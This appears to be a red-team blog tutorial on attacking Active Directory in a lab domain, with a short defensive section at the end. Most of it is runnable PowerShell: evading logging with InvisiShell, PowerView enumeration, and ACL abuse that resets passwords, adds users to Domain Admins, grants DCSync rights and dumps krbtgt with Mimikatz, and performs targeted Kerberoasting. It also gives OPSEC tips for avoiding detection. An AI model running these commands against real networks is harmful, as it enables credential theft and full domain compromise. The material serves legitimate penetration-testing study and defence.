1. Environment Setup — InvisiShell & PowerView

Running standard PowerShell during an engagement triggers Script Block Logging and AMSI — both of which will flag your tools immediately. The first thing you do before any enumeration is load InvisiShell, which patches ETW (Event Tracing for Windows) and bypasses PowerShell logging at the CLR level without requiring admin rights.

Why InvisiShell? PowerShell v5+ logs every script block that gets executed. InvisiShell hooks into the .NET runtime before PowerShell initialises, disabling that logging. Your commands still run — they just don't get recorded.

Starting a Stealthy PowerShell Session

  1. Navigate to your tools directory and launch InvisiShell as a non-admin user:
    C:\Users\masaaki> cd C:\AD\Tools
    C:\AD\Tools> .\InvisiShell\RunWithRegistryNonAdmin.bat
    
  2. A new PowerShell window opens. Load PowerView into memory (dot-sourcing — no file on disk after load):
    PS C:\AD\Tools> . .\PowerView.ps1
    
  3. Verify the session is active and the domain is reachable:
    PS C:\AD\Tools> Get-Domain
    # Should return the current domain object for masaaki-corp.local
    
PowerView vs RSAT: PowerView is the preferred tool for offensive enumeration because it runs entirely in memory, returns rich .NET objects you can pipe and filter, and doesn't require the AD RSAT modules to be installed. Microsoft's own Get-ADUser / Get-ADComputer cmdlets are also available if RSAT is present — both approaches are shown where relevant.

2. Domain Enumeration — Users, Computers & Admins

The goal of this phase is to build a complete picture of the domain: who the users are, what machines exist, and — most importantly — who holds elevated privileges. This data feeds every subsequent attack decision.

2.1 Enumerating Domain Users

Get-DomainUser returns every user object in the domain with all their attributes. Raw output is verbose, so pipe into select to extract what matters.

# All users — full attribute dump
PS C:\AD\Tools> Get-DomainUser

# Concise view — name, SAM account, description
PS C:\AD\Tools> Get-DomainUser | select samaccountname, description, memberof

# Find users with passwords that never expire (common on service accounts)
PS C:\AD\Tools> Get-DomainUser -UACFilter DONT_EXPIRE_PASSWORD | select samaccountname

# Find users with a password set more than 90 days ago (stale credentials)
PS C:\AD\Tools> Get-DomainUser | Where-Object { $_.pwdlastset -lt (Get-Date).AddDays(-90) } | select samaccountname, pwdlastset

# Find admin-named accounts (quick win filter)
PS C:\AD\Tools> Get-DomainUser | Where-Object { $_.samaccountname -match "admin" } | select samaccountname
What to look for: Users with interesting descriptions (passwords written in the description field is more common than you'd think), accounts with DONT_REQ_PREAUTH set (AS-REP roasting candidates), and service accounts with SPNs set (Kerberoasting targets — covered in Blog 3).
2.2 Enumerating Domain Computers

Knowing every machine in the domain helps you identify high-value targets (DCs, SQL servers, file servers) and understand the network layout before you start moving laterally.

# List all computers — DNS hostnames only
PS C:\AD\Tools> Get-DomainComputer | select -ExpandProperty dnshostname

# Example output:
masaaki-dc.masaaki-corp.local
masaaki-mssql.masaaki-corp.local
masaaki-srv01.masaaki-corp.local
masaaki-web01.masaaki-corp.local

# Full object — OS, last logon, IP
PS C:\AD\Tools> Get-DomainComputer | select name, operatingsystem, lastlogondate

# Find servers running Windows Server (higher value targets)
PS C:\AD\Tools> Get-DomainComputer | Where-Object { $_.operatingsystem -match "Server" } | select name, operatingsystem

# Using native AD module (if RSAT available)
PS C:\AD\Tools> Get-ADComputer -Filter * -Properties * | select Name, DNSHostName, OperatingSystem
2.3 Enumerating Domain Admins & Privileged Groups

Domain Admins have full control over every machine in the domain. Enterprise Admins have full control over every domain in the forest. These are your primary targets.

# List Domain Admins group details
PS C:\AD\Tools> Get-DomainGroup -Identity "Domain Admins"

# List members of Domain Admins (with full info)
PS C:\AD\Tools> Get-DomainGroupMember -Identity "Domain Admins" | select MemberName, MemberObjectClass

# Enterprise Admins only exists in the ROOT domain of the forest.
# Querying from a child domain requires specifying the parent domain explicitly.
PS C:\AD\Tools> Get-DomainGroupMember -Identity "Enterprise Admins" -Domain corp.local

# Example output:
MemberName                    : Administrator
MemberDistinguishedName       : CN=Administrator,CN=Users,DC=corp,DC=local

# Find all groups a user belongs to (useful once you have low-priv access)
PS C:\AD\Tools> Get-DomainGroup -UserName masaaki | select name

# Find groups with "admin" in the name across the domain
PS C:\AD\Tools> Get-DomainGroup | Where-Object { $_.name -match "admin" } | select name
Nested Group Membership: A user might not be directly in Domain Admins but could be a member of a group that IS in Domain Admins. PowerView's -Recurse flag resolves nested membership. Always check recursively — nested groups are a frequent blind spot for defenders and a reliable escalation path.
# Recursive group membership — finds nested admins
PS C:\AD\Tools> Get-DomainGroupMember -Identity "Domain Admins" -Recurse | select MemberName

3. OU & GPO Enumeration

Organizational Units (OUs) are containers that group computers and users for administrative purposes. Group Policy Objects (GPOs) define security settings, scripts, and configurations applied to those containers. For attackers, GPOs are interesting for two reasons: they reveal the security posture of specific machine groups, and a writeable GPO is an instant domain-wide code execution primitive.

3.1 Listing All OUs
# Full OU listing
PS C:\AD\Tools> Get-DomainOU

# Just the names — quick overview of the OU structure
PS C:\AD\Tools> Get-DomainOU | select -ExpandProperty name

# Example output:
Domain Controllers
Servers
Workstations
ServiceAccounts
TargetMachines
3.2 Listing Computers Inside a Specific OU

You found an interesting OU (e.g. TargetMachines). Get its distinguished name first, then use it as a search base.

# Get the distinguished name of the TargetMachines OU
PS C:\AD\Tools> (Get-DomainOU -Identity TargetMachines).distinguishedname
OU=TargetMachines,DC=masaaki-corp,DC=local

# Use the DN as a search base to list all computers in that OU
PS C:\AD\Tools> (Get-DomainOU -Identity TargetMachines).distinguishedname | %{Get-DomainComputer -SearchBase $_} | select name

# Or combine in one line
PS C:\AD\Tools> Get-DomainComputer -SearchBase "OU=TargetMachines,DC=masaaki-corp,DC=local" | select name
3.3 Enumerating GPOs & What They Apply To

GPOs are linked to OUs via the gplink attribute. The link contains an LDAP path with the GPO's GUID, which you can resolve to the actual GPO name and settings.

# List all GPOs in the domain
PS C:\AD\Tools> Get-DomainGPO | select displayname, gpcfilesyspath

# Find the GPO linked to the TargetMachines OU
# Step 1: Extract the gplink attribute
PS C:\AD\Tools> (Get-DomainOU -Identity TargetMachines).gplink
[LDAP://cn={A4B2C819-3F72-49D3-B90C-1234567890AB},cn=policies,cn=system,DC=masaaki-corp,DC=local;0]

# Step 2: Use the GUID to get the GPO details
PS C:\AD\Tools> Get-DomainGPO -Identity '{A4B2C819-3F72-49D3-B90C-1234567890AB}'

# One-liner: resolve GPO from OU gplink automatically
PS C:\AD\Tools> Get-DomainGPO -Identity (Get-DomainOU -Identity TargetMachines).gplink.substring(11,(Get-DomainOU -Identity TargetMachines).gplink.length-72)
Why GPOs matter for attackers: If you compromise an account that has write permissions on a GPO, you can add a scheduled task or startup script to that GPO and push arbitrary code to every machine in the linked OU — including all workstations or servers in one shot. Always check GPO permissions during enumeration (see ACL section below).
# Check who can modify GPOs — look for non-admin write permissions
PS C:\AD\Tools> Get-DomainGPO | %{ Get-DomainObjectAcl -Identity $_.cn -ResolveGUIDs } | Where-Object { $_.ActiveDirectoryRights -match "Write" -and $_.SecurityIdentifier -notmatch "S-1-5-32-544" }

4. ACL Enumeration — Who Has Rights Over What

Access Control Lists are the most powerful and most overlooked attack surface in Active Directory. An ACL defines what a principal (user, group, computer) is allowed to do to an AD object. Misconfigurations here give attackers a silent path to Domain Admin without ever touching a vulnerability — just abusing permissions that were deliberately (but carelessly) granted.

Understanding ACL Structure

Every AD object has a DACL (Discretionary ACL) made up of ACEs (Access Control Entries). Each ACE says: "SecurityPrincipal X has right Y over this object." PowerView's Get-DomainObjectAcl reads these entries.

Key fields in an ACE:
  • ObjectDN — the AD object being protected
  • SecurityIdentifier — the SID of who holds the right (resolve with ConvertFrom-SID)
  • ActiveDirectoryRights — what right is granted (GenericAll, WriteDACL, etc.)
  • ObjectAceType — more granular right (e.g. User-Force-Change-Password)
4.1 Enumerating ACLs on a Specific Object
# Enumerate all ACEs on the Domain Admins group
PS C:\AD\Tools> Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs -Verbose

# Example output (one ACE):
ObjectDN              : CN=Domain Admins,CN=Users,DC=masaaki-corp,DC=local
ActiveDirectoryRights : GenericWrite
ObjectAceType         : Member
SecurityIdentifier    : S-1-5-21-719815819-3726368948-3917688648-1105

# Resolve the SID to a human-readable name
PS C:\AD\Tools> ConvertFrom-SID S-1-5-21-719815819-3726368948-3917688648-1105
masaaki-corp\stephane

# That means: stephane has GenericWrite on Domain Admins → can add himself as a member
4.2 Finding All Interesting ACLs for a Specific User

The most useful enumeration query: find every AD object where a compromised user has a non-standard right. This is what reveals your privilege escalation path.

# Find all interesting ACLs for the current user "masaaki"
PS C:\AD\Tools> Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "masaaki"}

# Find interesting ACLs for an entire group (e.g. TargetUsers)
PS C:\AD\Tools> Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "TargetUsers"}

# Filter to only write-class rights (the actionable ones)
PS C:\AD\Tools> Find-InterestingDomainAcl -ResolveGUIDs | ?{
    $_.IdentityReferenceName -match "masaaki" -and
    $_.ActiveDirectoryRights -match "Write|GenericAll|Force"
}

Abusable ACE Rights — Reference Table

GenericAll

Full control over the object. On a user: reset password, add SPNs, modify any attribute. On a group: add any member. On a computer: RBCD attack.

WriteDACL

Modify the object's own ACL. Attacker grants themselves GenericAll or DCSync rights (DS-Replication-Get-Changes) on the domain object.

GenericWrite

Write any non-protected attribute. On a user: set an SPN for targeted Kerberoasting. On a computer: write msDS-AllowedToActOnBehalfOfOtherIdentity for RBCD.

ForceChangePassword

Reset the target account's password without knowing the current one. Immediate account takeover — but noisy since the user's password changes.

WriteOwner

Take ownership of the object. Owner can always modify the DACL, so this is effectively WriteDACL once ownership is transferred to yourself.

Self (Self-Membership)

Add yourself to the target group. Common on distribution groups that were misconfigured to allow self-management.


5. Forest & Domain Trust Enumeration

Most enterprise environments have multiple domains — a forest root and one or more child domains. Trusts between them define whether authentication can flow across domain boundaries. Misconfigurations in trust relationships are a primary path to full forest compromise.

Trust Types — What Each Means for an Attacker

Parent-Child Trust

Automatically created when a child domain is added. Two-way transitive. If you own a child domain, you can escalate to the parent via SID history injection (covered in Blog 5).

Forest Trust

Between two separate forests. Can be one-way or two-way. Non-transitive by default. Allows cross-forest authentication if set up.

External Trust

One-way trust to a specific domain in another forest. SID filtering is enabled by default — limits SID history abuse but still allows credential reuse.

Shortcut Trust

Manually created between two domains in the same forest to speed up authentication. Same escalation potential as parent-child trusts.

5.1 Enumerating All Domains in the Forest
# List all domains in the current forest
PS C:\AD\Tools> Get-ForestDomain -Verbose

# Example output:
Name                  : masaaki-corp.local
Name                  : corp.local
5.2 Mapping Domain Trusts
# Map all trusts of the current domain (masaaki-corp.local)
PS C:\AD\Tools> Get-DomainTrust

# Example output:
SourceName      : masaaki-corp.local
TargetName      : corp.local
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection  : Bidirectional

# List ALL trusts across all domains in the forest
PS C:\AD\Tools> Get-ForestDomain | %{Get-DomainTrust -Domain $_.Name}
5.3 Identifying External Trusts

External trusts have FILTER_SIDS in their TrustAttributes. This means SID filtering is active — SIDs from the trusted domain that belong to privileged groups are stripped from authentication tokens. However, credential reuse and lateral movement are still possible.

# Find external trusts in the entire forest
PS C:\AD\Tools> Get-ForestDomain | %{Get-DomainTrust -Domain $_.Name} | ?{$_.TrustAttributes -eq "FILTER_SIDS"}

# Find external trusts of only the current domain
PS C:\AD\Tools> Get-DomainTrust | ?{$_.TrustAttributes -eq "FILTER_SIDS"}
5.4 Enumerating Trusts of an External Forest

If a bidirectional trust exists with an external forest (e.g. partner.local), you can enumerate its trust structure from your current position. One-way trust from them to you also allows this.

# Map trusts inside the partner.local forest from our current position
PS C:\AD\Tools> Get-ForestDomain -Forest partner.local | %{Get-DomainTrust -Domain $_.Name}

# Full picture: enumerate every forest reachable from masaaki-corp.local
PS C:\AD\Tools> Get-ForestTrust | select TopLevelNames, TrustDirection, TrustType

6. ACL Abuse — Turning Permissions Into Access

Enumeration found your edge. Now you exploit it. ACL abuse attacks are among the most dangerous in AD because they are completely legitimate AD operations — you're using permissions that exist, not exploiting a CVE. Many EDR solutions and SIEMs miss them entirely.

Before any ACL abuse: Take note of the original state of the object. If you reset a password, add an SPN, or modify a DACL, revert after the engagement to avoid breaking the environment or leaving evidence. Defenders are increasingly monitoring ACL changes on sensitive objects.
6.1 Abusing GenericAll — Full Object Control

Scenario: Your compromised user masaaki has GenericAll on user stephane. You can reset stephane's password and authenticate as them.

# Confirm the ACE — masaaki has GenericAll on stephane
PS C:\AD\Tools> Get-DomainObjectAcl -Identity stephane -ResolveGUIDs | ?{$_.ActiveDirectoryRights -match "GenericAll" -and $_.IdentityReferenceName -match "masaaki"}

# Reset stephane's password (no knowledge of current password needed)
PS C:\AD\Tools> $SecPass = ConvertTo-SecureString 'NewP@ssword123!' -AsPlainText -Force
PS C:\AD\Tools> Set-DomainUserPassword -Identity stephane -AccountPassword $SecPass -Verbose

# Alternatively — add masaaki to Domain Admins if GenericAll is on a group
PS C:\AD\Tools> Add-DomainGroupMember -Identity "Domain Admins" -Members masaaki -Verbose

# Verify membership was added
PS C:\AD\Tools> Get-DomainGroupMember -Identity "Domain Admins" | select MemberName
6.2 Abusing WriteDACL — Adding DCSync Rights

Scenario: masaaki has WriteDACL on the domain object (DC=masaaki-corp,DC=local). By modifying the domain's DACL, you can grant yourself DCSync rights — the ability to replicate all password hashes from the DC as if you were a domain controller. This is a silent path to all credentials in the domain.

DCSync requires two rights on the domain object:

  • DS-Replication-Get-Changes (GUID: 1131f6aa-...)
  • DS-Replication-Get-Changes-All (GUID: 1131f6ad-...)
# Add DCSync rights to masaaki using WriteDACL on the domain object
PS C:\AD\Tools> Add-DomainObjectAcl -TargetIdentity "DC=masaaki-corp,DC=local" `
    -PrincipalIdentity masaaki `
    -Rights DCSync `
    -Verbose

# Verify the rights were added
PS C:\AD\Tools> Get-DomainObjectAcl -Identity "DC=masaaki-corp,DC=local" -ResolveGUIDs | ?{$_.IdentityReferenceName -match "masaaki"}

# Now run DCSync with Mimikatz (from a new shell / after re-auth)
PS C:\AD\Tools> .\Mimikatz.exe "lsadump::dcsync /user:masaaki-corp\krbtgt" exit
DCSync = Game Over: Once you have DCSync rights, you can dump every password hash in the domain — including the krbtgt account. With that hash you can forge Golden Tickets that grant access to any service in the domain with any privilege level, indefinitely (covered in Blog 5).
6.3 Abusing ForceChangePassword

Scenario: masaaki has User-Force-Change-Password extended right on masaaki_svc. This is a service account that likely has privileged access to a server. You reset the password, authenticate as the service account, and move laterally.

# Confirm the ForceChangePassword ACE
PS C:\AD\Tools> Get-DomainObjectAcl -Identity masaaki_svc -ResolveGUIDs | ?{$_.ObjectAceType -match "User-Force-Change-Password"}

# Reset the password of masaaki_svc
PS C:\AD\Tools> $NewPass = ConvertTo-SecureString 'Compromised@2026!' -AsPlainText -Force
PS C:\AD\Tools> Set-DomainUserPassword -Identity masaaki_svc -AccountPassword $NewPass -Verbose

# Authenticate as masaaki_svc using the new password
PS C:\AD\Tools> $Cred = New-Object System.Management.Automation.PSCredential("masaaki-corp\masaaki_svc", $NewPass)
PS C:\AD\Tools> Enter-PSSession -ComputerName masaaki-srv01 -Credential $Cred
Noise consideration: ForceChangePassword is louder than other ACL abuse techniques — the target user will be locked out of their account immediately and will likely report it. Prefer GenericWrite (targeted Kerberoasting) when stealth is required.
6.4 Abusing GenericWrite — Targeted Kerberoasting

Scenario: masaaki has GenericWrite on stephane. GenericWrite lets you modify any non-protected attribute — specifically, you can set a fake SPN on the account. Once an SPN exists, you can request a TGS ticket for it, which is encrypted with the account's password hash. You then crack the hash offline.

This is called Targeted Kerberoasting — you don't need a service account with an existing SPN, you create one.

# Step 1: Set a fake SPN on stephane's account
PS C:\AD\Tools> Set-DomainObject -Identity stephane -Set @{serviceprincipalname='fake/masaakisrv'} -Verbose

# Verify the SPN was set
PS C:\AD\Tools> Get-DomainUser stephane | select serviceprincipalname
serviceprincipalname : fake/masaakisrv

# Step 2: Request a TGS for the fake SPN (now stephane is "Kerberoastable")
PS C:\AD\Tools> Get-DomainSPNTicket -SPN "fake/masaakisrv" | fl

# The hash output will look like: $krb5tgs$23$*stephane$...
# Step 3: Crack offline with hashcat
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt --force

# Step 4: Clean up — remove the fake SPN after cracking
PS C:\AD\Tools> Set-DomainObject -Identity stephane -Clear serviceprincipalname -Verbose
6.5 Abusing WriteOwner — Taking Object Ownership

Scenario: masaaki has WriteOwner on the Domain Admins group. By taking ownership of the object, you become its owner — and owners can always modify the DACL regardless of existing ACEs. You then grant yourself GenericAll and add yourself to the group.

# Step 1: Set masaaki as the owner of Domain Admins
PS C:\AD\Tools> Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity masaaki -Verbose

# Step 2: Grant masaaki GenericAll on the group (now we control the DACL)
PS C:\AD\Tools> Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity masaaki -Rights All -Verbose

# Step 3: Add masaaki to Domain Admins
PS C:\AD\Tools> Add-DomainGroupMember -Identity "Domain Admins" -Members masaaki -Verbose

# Confirm
PS C:\AD\Tools> Get-DomainGroupMember -Identity "Domain Admins" | select MemberName

7. BloodHound — Visualising Attack Paths

BloodHound ingests AD data (collected by SharpHound) and renders it as a graph where nodes are users, groups, computers and GPOs — and edges are the relationships between them, including ACL rights. It makes attack paths that would take hours to trace manually visible in seconds.

Collecting Data with SharpHound

# Run SharpHound — all collection methods
PS C:\AD\Tools> . .\SharpHound.ps1
PS C:\AD\Tools> Invoke-BloodHound -CollectionMethod All -Verbose

# Output: a ZIP file containing JSON graph data
# Transfer the ZIP to your attack machine and import into BloodHound

# Stealthier collection — avoid DCSync-triggering methods
PS C:\AD\Tools> Invoke-BloodHound -CollectionMethod DCOnly -Stealth -Verbose

Key BloodHound Queries for Attackers

Shortest Path to DA

The most used query. Shows the shortest chain of edges from your current user to Domain Admins. Often reveals ACL misconfigs and group membership chains.

Find All DA Paths

All possible paths to Domain Admin, not just the shortest. Useful when the shortest path is blocked.

Owned Principals → DA

Mark compromised accounts as "owned", then run this to see which paths become available from your current position.

Kerberoastable Users

Lists all users with SPNs set. Cross-reference with high-privilege accounts — a DA with an SPN and a weak password is an instant win.

AS-REP Roastable Users

Lists accounts with DONT_REQ_PREAUTH set. No credentials needed to request their TGT — just send an AS-REQ and crack offline.

GenericAll / WriteDACL Edges

Filter the graph by these edge types to instantly find all dangerous ACL misconfigurations pointing toward privileged objects.

Cypher query example — find users with WriteDACL on the domain object:
MATCH p=(u:User)-[:WriteDacl]->(d:Domain)
RETURN p
BloodHound's built-in queries cover most scenarios but raw Cypher gives you full flexibility.

8. OPSEC Considerations

AD enumeration generates LDAP queries that are logged. Too many queries in a short window trigger alerts in modern SIEMs. Here's how to stay under the radar.

Always Use InvisiShell

Disables PowerShell Script Block Logging and Module Logging before any tool is loaded. Run it before anything else.

Avoid -Verbose in Production

Verbose mode generates more LDAP queries and console output. Use it for learning, remove it on live engagements.

Throttle BloodHound Collection

Use -Throttle and -Jitter flags with SharpHound on mature environments. Mass LDAP queries in seconds are a detection signature.

Avoid Find-InterestingDomainAcl on Large Domains

This function enumerates ACLs on every object in the domain — extremely noisy. Use targeted queries on specific objects once you have a candidate.

Revert ACL Changes

DCSync right additions, ownership changes and SPN modifications all generate 4662/5136 events. Revert changes immediately after use and before log review windows.

Use Existing Tooling, Not Downloads

Pre-stage tools before the engagement. Downloading PowerView or SharpHound during the operation triggers network-based detections and endpoint AV.


9. Prevention & Detection

Enable Advanced Audit Policies

Audit Directory Service Access (event 4662) and Directory Service Changes (event 5136) on DCs. These catch ACL reads and modifications on sensitive objects.

Implement Tiered Administration

Tier 0 (DCs), Tier 1 (Servers), Tier 2 (Workstations). Admins at each tier only log in to machines at the same tier. Stops credential theft paths cold.

Run BloodHound as a Defender

Run regular BloodHound collections and audit the results. If you find a path to DA that your own red team didn't use — fix it before someone else finds it.

Review Delegated ACLs Regularly

Audit GenericAll, WriteDACL, WriteOwner and ForceChangePassword rights on all privileged groups and the domain object quarterly. Tools like PingCastle and Adalanche automate this.

Block LDAP Reconnaissance

Enable LDAP Interface Events logging. Alert on large-volume LDAP queries from non-DC sources — this catches PowerView and SharpHound collection runs.

Protect the krbtgt Account

Rotate the krbtgt password twice (required to invalidate existing tickets) every 180 days or after any suspected compromise. Monitor for DCSync events (event 4662 with replication rights).